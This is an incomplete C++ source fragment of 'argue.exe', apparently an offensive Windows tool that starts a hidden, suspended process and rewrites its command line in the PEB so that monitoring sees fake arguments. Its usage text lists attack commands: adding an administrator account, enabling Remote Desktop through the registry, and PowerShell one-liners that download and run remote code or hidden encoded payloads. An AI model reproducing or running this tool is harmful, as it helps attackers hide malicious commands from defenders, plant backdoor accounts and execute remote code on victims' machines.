typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
ULONG ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
alloc = (char*)malloc(bytes);
if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
wstring charToWstring(const char* szIn)
int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
WCHAR* buf = new WCHAR[length + 1];
ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
std::wstring strRet(buf);
int main(int argc, char** argv)
printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
if (strcmp(argv[1], "-h") == 0)
printf("[+] \" Escape \\\" \n");
printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
printf("[+] Common command: \n");
printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
if (strlen(argv[1])<strlen(argv[2]))
printf("[!] Error: Parameter 1 is less than parameter 2 \n");
PROCESS_BASIC_INFORMATION pbi;
RTL_USER_PROCESS_PARAMETERS* parameters;
memset(&si, 0, sizeof(si));
si.wShowWindow = SW_HIDE;
memset(&pi, 0, sizeof(pi));
success = CreateProcessA(
CREATE_SUSPENDED | CREATE_NO_WINDOW,
//"C:\\Windows\\System32\\",
printf("[!] Error: Unable to call CreateProcess to create process\n");
_NtQueryInformationProcess ntpi = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
//从PEB获取ProcessParameters
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
wstring wspoofed = charToWstring(argv[2]);
WCHAR* wchar_wspoofed = (WCHAR*)wspoofed.c_str();
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)wchar_wspoofed, wcslen(wchar_wspoofed)* 2 + 1);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
success = WriteProcessMemory(
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,4,NULL);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
ResumeThread(pi.hThread);